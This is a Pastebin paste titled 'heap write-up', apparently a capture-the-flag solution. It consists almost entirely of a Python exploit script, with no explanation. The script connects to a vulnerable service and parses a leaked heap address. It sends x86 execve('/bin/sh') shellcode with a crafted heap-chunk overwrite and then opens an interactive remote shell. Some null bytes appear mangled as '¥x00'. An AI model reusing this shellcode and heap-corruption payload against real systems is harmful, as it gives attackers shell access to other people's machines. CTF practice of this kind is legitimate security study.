SHARE
TWEET

heap write-up

bata_24 Dec 26th, 2014 (edited) 176 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import socket, struct, re, telnetlib
  4.  
  5. ###################### useful function definition
  6. def sock(remoteip, remoteport):
  7.   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8.   s.connect((remoteip, remoteport))
  9.   return s, s.makefile('rw', bufsize=0)
  10.  
  11. def read_until(f, delim='\n'):
  12.   data = ''
  13.   while not data.endswith(delim):
  14.     data += f.read(1)
  15.   return data
  16.  
  17. def p(a):
  18.   return struct.pack("<I",a)
  19.  
  20. def shell(s):
  21.   t = telnetlib.Telnet()
  22.   t.sock = s
  23.   t.interact()
  24.  
  25. ###################### main
  26.  
  27. # linux/x86/execve_binsh
  28. shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
  29.  
  30. s, f = sock("localhost", 4088)
  31. #s, f = sock("katagaitai.orz.hm", 1111)
  32. ret = read_until(f, "Write to object [size=260]:")
  33. print ret
  34. heap_addr = int(re.findall(r"loc=([^]]+)", ret)[10], 16)
  35. print hex(heap_addr)
  36.  
  37. sc = "\xeb\x08" + '¥x00'*8 + shellcode.ljust(250, '¥x00') + p(0xfffffffd) + p(0x0804C004-8) + p(heap_addr)
  38. f.write(sc + "\n")
  39. shell(s)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top